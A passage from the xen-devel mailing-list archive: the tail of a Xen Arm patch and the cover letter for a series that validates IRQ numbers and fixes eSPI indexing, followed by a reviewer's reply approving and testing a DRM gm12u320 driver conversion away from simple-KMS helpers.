@@ -111,8 +111,6 @@ static void gic_set_irq_priority(struct irq_desc *desc, unsigned int priority)
 void gic_route_irq_to_xen(struct irq_desc *desc, unsigned int priority)
 {
     ASSERT(priority <= 0xff);     /* Only 8 bits of priority */
-    /* Can't route interrupts that don't exist */
-    ASSERT(gic_is_valid_line(desc->irq));
     ASSERT(test_bit(_IRQ_DISABLED, &desc->status));
     ASSERT(spin_is_locked(&desc->lock));
 
diff --git a/xen/arch/arm/irq.c b/xen/arch/arm/irq.c
index 73e58a5108..0314cf0b6e 100644
--- a/xen/arch/arm/irq.c
+++ b/xen/arch/arm/irq.c
@@ -416,6 +416,9 @@ int setup_irq(unsigned int irq, unsigned int irqflags, struct irqaction *new)
     struct irq_desc *desc;
     bool disabled;
 
+    if ( !gic_is_valid_line(irq) )
+        return -EINVAL;
+
     desc = irq_to_desc(irq);
 
     spin_lock_irqsave(&desc->lock, flags);
@@ -647,13 +650,15 @@ static bool irq_validate_new_type(unsigned int curr, unsigned int new)
 int irq_set_spi_type(unsigned int spi, unsigned int type)
 {
     unsigned long flags;
-    struct irq_desc *desc = irq_to_desc(spi);
+    struct irq_desc *desc;
     int ret = -EBUSY;
 
     /* This function should not be used for other than SPIs */
-    if ( spi < NR_LOCAL_IRQS )
+    if ( !gic_is_spi(spi) )
         return -EINVAL;
 
+    desc = irq_to_desc(spi);
+
     spin_lock_irqsave(&desc->lock, flags);
 
     if ( !irq_validate_new_type(desc->arch.type, type) )
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 08:31:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 08:31:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358897.1612741 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi6eC-0002ou-HX; Fri, 10 Jul 2026 08:31:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358897.1612741; Fri, 10 Jul 2026 08:31:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi6eC-0002on-EL; Fri, 10 Jul 2026 08:31:48 +0000
Received: by outflank-mailman (input) for mailman id 1358897;
 Fri, 10 Jul 2026 08:31:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wi6eB-0002oh-GP
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 08:31:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi6e9-0068DB-T6
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 10:31:45 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50ade4-5cb7-0a2a0a5109dd-0a2a4509a4b0-32
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 10:31:45 +0200
Received: from [40.107.162.74]
 (helo=PA4PR04CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50adf1-b440-0a2a45090019-286ba24acae3-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 10:31:45 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by PA4PR03MB7518.eurprd03.prod.outlook.com (2603:10a6:102:107::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 08:31:44 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%4]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 08:31:44 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=wMpE6MFBzo97MT+aUuYgsLUghr+M9Y9yXp1/n4D2TwCzu9GW2/yCldNFNkfqGBFTVENj3HpV0Kr0Mrfo0qjmLQ5mBmIkrmEI0RXubPOIcjTYJ1qJJL68z6ZQaa2QouosijE2/fgfhWt75TlqIm+VDybbAmOKxOGDeNziPbJ6diXZW5LEhglRLanulmCiWt+b5K0fmGmS80DHReEh1s3FJ7VJGYaqW7jd5x0gWLPZmD/VE6VyQp80usEgX+z2hO6Ns2dO7h5Q4E0+/oSK3uzy+FkFRcdkhSwVtbUspwq3j3TtC6ffJDWVYycS7W+t6sM2EYvAozXUmTNjdHn/MD2bxA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=njYmxRByqxvj8zB9Sro/i12/XrQGCj0Q7a3fR9R1pDw=;
 b=yU3onzZHOkv54d2AjdwYQ1UND/T3s+mbEchevDySJ8fFqoISrCqim0GNgvN7uXT3nJLls8+2NWtMMY2YE95rJw3hLQeeeySZTckR5zU3Uoqm83CDa8qg02xPLqw6VqX0qIkn9lW5oxWr0LNRYuYcBSVPcUxz0Yx2zUmgz8/di/HhIpDICQj0Vyb0TpiRH2t6zWKQU2qPMYtODZcxGUcO5KetFPCdVhxV2T3a3BqAO/KvEEBaHFuGcpeFfbWsoD0QjLYcq2ODf+DiU8/jXA7Ijbt471NJ4LLNEQO3NkrppL5z75KinLGYu5zrJr68XIIau8uJwZ4YdgRlTgbnhzMCdQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=njYmxRByqxvj8zB9Sro/i12/XrQGCj0Q7a3fR9R1pDw=;
 b=DQsGkmQ010H0/37ku709iYKfW2xYyPFhY234Lp4ZJyz0YBIBopMPfFxTsc/452Zos4rXMNjFYfbR+o8QBa/I6cGo7qyaYqHE9+l25mZV2KOZHu7VpBvEbCTVZAfUomYJRb9GU06HFGc02vdEK6KXNroaNDgVRLfaHafqqIKxVGEu8w95Abyb5xp2fcOz50CM2SeVQM5pkGWZ8oKqcul/wMWNxbTC4fXr9d//AusyfemouJYCv77XZ5b9pQuW8vtHoWeFABRMH63zBMdg8uSxGgW+jDyy7gXHcbNtUDgVhD4RDCjlrrZ3TUapWDdHYm+0GoKV3LfGP5a+ipCyGvfZ9g==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: [PATCH for-4.22 0/2] xen/arm: Fix eSPI IRQ indexing issues
Date: Fri, 10 Jul 2026 11:31:30 +0300
Message-ID: <cover.1783671887.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA1PEPF00005B93.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d8::631) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|PA4PR03MB7518:EE_
X-MS-Office365-Filtering-Correlation-Id: b763f364-de12-4310-1102-08dede5dac40
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|23010399003|56012099006|11063799006|6133799003|18002099003;
X-Microsoft-Antispam-Message-Info:
	afTGIJn7SvP3aeYXaLL67nghKv0YPVfXVa8LTjsy+jigIU6FrE0N6UXt/OvtQCYg23sWUI0Wza7rAIM0mEDkmwCyyVEllhXdpCY+p66rSsUQBCLgJa2YOi8iGGQ0r+pn4bx8RdAjN40FJKdmZJwibDJYYHwElW3Z7lVOsRGawslbjQQl+oo90/HLwl1Dw2gaXUaH8nicmk3vawSV/I34SmZkkGcOuhrXiXk2W60qJZdMWSeHe1bvaFflk8Ov+abVxgWhkatEdYIprjmcBbaHd1g2zVR4XhaV4l92q9TnD5vKahdxOsrGPQF8UsNm2U/ilg37G9uVPxWlRvoCysh4DuEJyMLoIqj5SwVW44bKkLQt6EEJ9X8L/tQT3WaZwId8Q+xBhxHMewhYE12XoV8IVTuB9knU7L4hZAecCRVXYdq+mr0ItqNPSOFOgZV1H5inRL9mp0oaTYtY7V3yfavrrjJvZOUcJW5BiG6MbefaQWNoGD+2J1C6qhOwBl4CaPXE8mdIfa1CFgvmn4PPTh+kVMN8rtL8nLSQukGs9jdKhejsWjycFsMMdo/8potiU8iMlEMcuJQw5VnLsCbiAnFAJBD6hGnaoSJII6OvHHnyq5z9UebhZp7CL2TI7VqlBEB5LZUheynPP9Qx4NDYYe3dvKsb96T2Iavbg2vVNRlmZ5E=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(23010399003)(56012099006)(11063799006)(6133799003)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?M2JNzgj3wogufgfb1YxEJpG6YauH7fFkNsCw7aZPUjLVzWyRWFrTJ/IT5d53?=
 =?us-ascii?Q?mUizPihMw5YSYFBC6yifXB3BY6m6sBt8C5+OMku71ALW3iIXQ9nvPY3QBY3F?=
 =?us-ascii?Q?SyiG8veBMUrj+/eMgDDZ/liowJMJDlCZEifes6cgrsqySnxPcfUd+stMLA5e?=
 =?us-ascii?Q?u25Ys08D8WyCdxoLc3D5VY50n7dbMsLQ2gsRW0iUert+Z3NffMNaiOGTQ72b?=
 =?us-ascii?Q?lr2n6/9z0gRXj8gLAkB75/UDJMFwMq3G7loIFF5uSn88OGunK8v+1lq1D3zW?=
 =?us-ascii?Q?JBNJX+rSCtdCkVFNbS6eanQoj6sxxV/vhneMe7+/T8kD/a52ta/VJD6Znr/k?=
 =?us-ascii?Q?kQOcMiyg+8yOHy260oWXXfxekpiYoFIxwMD5BoWWHnVdc0dvDDuxml2IlHB0?=
 =?us-ascii?Q?SQbo/IB8KYvFZrpxHSgTSf5Z5lhbPJ+EEJWOFNwLVpr3bsi/QzgHa4+d95bh?=
 =?us-ascii?Q?FlNmfpzV16zrs0dlWj1Fhh/iJIYAaE9/pZavYpDLLsGNjafFC33hWlQsidsr?=
 =?us-ascii?Q?a/tdjUYowzIISaQk4oBZH6yAomPUdsMhoqrFYfVCai7d44oEKnGW09EMqxQg?=
 =?us-ascii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KEiLmxp5l4kqh+cLdxG60NZ2hfHn5L?=
 =?us-ascii?Q?pyaGuWdFKkesBrZ4YeC6STPyQ53Bm+GVL9N2JR2gJ9o5/TOBlt+COv+v7jqT?=
 =?us-ascii?Q?3M+BgLKE+p3eRLIrs8VgiXYOAYYrw1NHiqMimS3SRXAqxSwrDYHZFFEbmaM2?=
 =?us-ascii?Q?TDR07P0Ev+Q+rq9yObeHTTxXd3JJICi1o5lBHAdvqdtTHnutY9qb6CushEMf?=
 =?us-ascii?Q?Vw/26krx4QNvXts/Y1yd5Zd411faPShwqs1vCTzcha+LSHdm5pezEA9l8HqX?=
 =?us-ascii?Q?PXZBqrAbDA=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b763f364-de12-4310-1102-08dede5dac40
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 08:31:43.8930
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 3i5a79GKPoMzZJOqZTZQudEJY5myrkyBWweWqn1IsIQLM5CKtJT+fNdrtrRmBRHvWglvnDcZXd+QS74BpodhVg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PA4PR03MB7518
X-purgate-ID: tlsNG-bad1c0/1783672305-5C344A0B-E5C3A448/0/0
X-purgate-type: clean
X-purgate-size: 1300

This small series fixes two eSPI-related indexing issues in the Arm
interrupt and classic vGIC paths.

With GICv3 eSPI support enabled, Xen exposes a sparse architectural
INTID namespace: regular SPIs occupy the traditional range, while eSPIs
start at INTID 4096. Some paths were still treating that namespace as if
it mapped directly to dense internal arrays or bitmaps.

Patch 1 prevents sparse INTIDs in the gap between regular SPIs and eSPIs
from reaching irq_to_desc() and being used as dense irq_desc[] indices.

Patch 2 fixes classic vGIC eSPI allocation bookkeeping: reserve used the
compressed allocation bitmap index for eSPIs, while free still used the
raw virtual INTID.

Both patches are intentionally small and keep the existing eSPI mapping
model.

Tested with:
- CONFIG_GICV3_ESPI=y build
- CONFIG_GICV3_ESPI=n build
- FVP boot with 64 eSPIs
- pre-fix reproduction using a fake DT interrupt for INTID 3000
- post-fix smoke boot to Linux dom0

Mykola Kvach (2):
  xen/arm: validate IRQs before descriptor lookup
  xen/arm: vgic: free eSPIs using the bitmap index

 xen/arch/arm/gic.c  |  2 --
 xen/arch/arm/irq.c  |  9 +++++++--
 xen/arch/arm/vgic.c | 27 ++++++++++++++++-----------
 3 files changed, 23 insertions(+), 15 deletions(-)

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 09:10:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 09:10:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358939.1612769 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi7Eu-0008Ir-Qb; Fri, 10 Jul 2026 09:09:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358939.1612769; Fri, 10 Jul 2026 09:09:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi7Eu-0008Ik-NQ; Fri, 10 Jul 2026 09:09:44 +0000
Received: by outflank-mailman (input) for mailman id 1358939;
 Fri, 10 Jul 2026 09:09:43 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1wi7Es-0008Ie-6d
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:09:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi7Eq-005m4c-Nl
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 11:09:40 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a50b6cf-bab6-0a2a0a5309dd-0a2a450281be-18
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 11:09:40 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <tzimmermann@suse.de>)
 id 6a50b6d4-64c6-0a2a45020019-c387df82e574-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 11:09:40 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id ACC1076709;
 Fri, 10 Jul 2026 09:09:38 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 28604779BD;
 Fri, 10 Jul 2026 09:09:38 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id LQdoCNK2UGouCgAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Fri, 10 Jul 2026 09:09:38 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783674579; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=WYana5gcemuDvpyp9NIAbnx2PeGEB3xQn2SDg+e4dzQ=;
	b=k+QJoD0uzbelEsf++/2y4ND5oJjvieTzrZpGMXWCRRfUXGx2fLqKKwtRnDBmVJ/jGW1osR
	hlgubkxEHUEPqz+AfK1Qps9dCT7D/75iaZrYsmT8tjZ6ATt16FDXVrrEttTRpwgfF5xCNL
	vAnAqzrZYfeHfE/UYALEsYGi0PI529c=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783674579;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=WYana5gcemuDvpyp9NIAbnx2PeGEB3xQn2SDg+e4dzQ=;
	b=/4ehUeG0YJTYcU44d+BOlXTzRC2uecfBMBB/SaVQ3viFmonS6/GNVlZbppLbE1TnpwpB5V
	lXW5gABB7Mz1QDAg==
Authentication-Results: smtp-out1.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783674578; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=WYana5gcemuDvpyp9NIAbnx2PeGEB3xQn2SDg+e4dzQ=;
	b=tdA8pSdzfeXEKy7XND4BnIXo5St5lY0gIhoL7qSpcO/bthuvk33yRYAZNpOPn+HJc0pFxI
	w1NHHP93n7QrQX2tdckcRPtoBEWzOCEA9ARHCYPYnjkajPYa51UGoj6lZF06ViKqQ3YRmb
	vk7PbAICwF/5jD0ws6FZZzNwKLY79x4=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783674578;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=WYana5gcemuDvpyp9NIAbnx2PeGEB3xQn2SDg+e4dzQ=;
	b=wxAgPYyMx2NxMJ213r8fL6XLneJbj6RlnBSqsYKUeEYgpkR5SmTFVVlqMiX17q112i7/nF
	3kPPnn6rnKVefFAA==
Message-ID: <e69b3cf5-9a9f-46ca-abc8-68c1375ef6ca@suse.de>
Date: Fri, 10 Jul 2026 11:09:37 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 6/9] drm/gm12u320: replace struct drm_simple_display_pipe
 with regular atomic helpers
To: Ze Huang <ze.huang@oss.qualcomm.com>,
 Alexey Brodkin <abrodkin@synopsys.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Joel Stanley <joel@jms.id.au>,
 Andrew Jeffery <andrew@codeconstruct.com.au>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
 Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
 linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
 imx@lists.linux.dev, xen-devel@lists.xenproject.org
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
 <20260705-drm-simple-kms-removal-v1-6-b4e1ca053623@oss.qualcomm.com>
Content-Language: en-US
From: Thomas Zimmermann <tzimmermann@suse.de>
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1Jc5tVDeJAuau3TGNgah4Yc
 hdHm3bkPjz9EErV85RwvImQ1dptvx6s7xzwXTgGAsaYZsL8WCwDaTuqFa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QoURPb1VWjh34l0HlglmYHvZszJWTXYwavHR8+k6Baa6H7ufXNQtThR
 yIxJrQLW6rV5lm7TjhffEhxVCn37+cg0zZ3j7zIsSS0rx/aMwi6VhFJA5hfn3T0TtrijKP4A
 SAQO9xD1Zk9/61JWk8OysuIh7MXkl0fxbRKWE93XeQBhIJHQfnc+YBLprdnxR446Sh8Wn/2D
 Ya8cavuWf2zrB6cZurs048xe0UbSW5AOSo4V9M0jzYI4nZqTmPxYyXbm30Kvmz0rYVRaitYJ
 4kyYYMhuULvrJDMjZRvaNe52tkKAvMevcGdt38H4KSVXAylqyQOW5zvPc4/sq9c=
In-Reply-To: <20260705-drm-simple-kms-removal-v1-6-b4e1ca053623@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	NEURAL_HAM_SHORT(-0.20)[-0.997];
	MIME_GOOD(-0.10)[text/plain];
	TAGGED_RCPT(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	MIME_TRACE(0.00)[0:+];
	RCPT_COUNT_TWELVE(0.00)[22];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FREEMAIL_TO(0.00)[oss.qualcomm.com,synopsys.com,linux.intel.com,kernel.org,gmail.com,ffwll.ch,jms.id.au,codeconstruct.com.au,nxp.com,pengutronix.de,epam.com];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	TO_DN_SOME(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	MID_RHS_MATCH_FROM(0.00)[];
	RCVD_TLS_ALL(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:url,qualcomm.com:email,suse.de:email,suse.de:mid,imap1.dmz-prg2.suse.org:helo]
X-Spam-Level: 
X-Spam-Score: -2.80
X-purgate-ID: tlsNG-720697/1783674580-7D12AA87-52B5C566/0/0
X-purgate-type: clean
X-purgate-size: 8433

Hi

Am 04.07.26 um 20:31 schrieb Ze Huang:
> Convert gm12u320 to direct primary plane, CRTC and encoder setup.
>
> Keep shadow-plane helper state, framebuffer access helpers and
> no-scaling plane-state check from simple-KMS path.
>
> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>

Reviewed-by: Thomas Zimmermann <tzimmermann@suse.de>

And I also have this device. Works nicely with the patch

Tested-by: Thomas Zimmermann <tzimmermann@suse.de>

> ---
>   drivers/gpu/drm/tiny/gm12u320.c | 128 ++++++++++++++++++++++++++++++++--------
>   1 file changed, 104 insertions(+), 24 deletions(-)
>
> diff --git a/drivers/gpu/drm/tiny/gm12u320.c b/drivers/gpu/drm/tiny/gm12u320.c
> index d73dfebb4353..992160ea794d 100644
> --- a/drivers/gpu/drm/tiny/gm12u320.c
> +++ b/drivers/gpu/drm/tiny/gm12u320.c
> @@ -8,6 +8,7 @@
>   #include <linux/usb.h>
>   
>   #include <drm/clients/drm_client_setup.h>
> +#include <drm/drm_atomic.h>
>   #include <drm/drm_atomic_helper.h>
>   #include <drm/drm_atomic_state_helper.h>
>   #include <drm/drm_connector.h>
> @@ -27,7 +28,6 @@
>   #include <drm/drm_modeset_helper_vtables.h>
>   #include <drm/drm_print.h>
>   #include <drm/drm_probe_helper.h>
> -#include <drm/drm_simple_kms_helper.h>
>   
>   static bool eco_mode;
>   module_param(eco_mode, bool, 0644);
> @@ -87,7 +87,9 @@ MODULE_PARM_DESC(eco_mode, "Turn on Eco mode (less bright, more silent)");
>   
>   struct gm12u320_device {
>   	struct drm_device	         dev;
> -	struct drm_simple_display_pipe   pipe;
> +	struct drm_plane	         plane;
> +	struct drm_crtc		         crtc;
> +	struct drm_encoder	         encoder;
>   	struct drm_connector	         conn;
>   	unsigned char                   *cmd_buf;
>   	unsigned char                   *data_buf[GM12U320_BLOCK_COUNT];
> @@ -554,31 +556,33 @@ static int gm12u320_conn_init(struct gm12u320_device *gm12u320)
>   }
>   
>   /* ------------------------------------------------------------------ */
> -/* gm12u320 (simple) display pipe				      */
> +/* gm12u320 display pipe						      */
>   
> -static void gm12u320_pipe_enable(struct drm_simple_display_pipe *pipe,
> -				 struct drm_crtc_state *crtc_state,
> -				 struct drm_plane_state *plane_state)
> +static void gm12u320_crtc_helper_atomic_enable(struct drm_crtc *crtc,
> +					       struct drm_atomic_commit *commit)
>   {
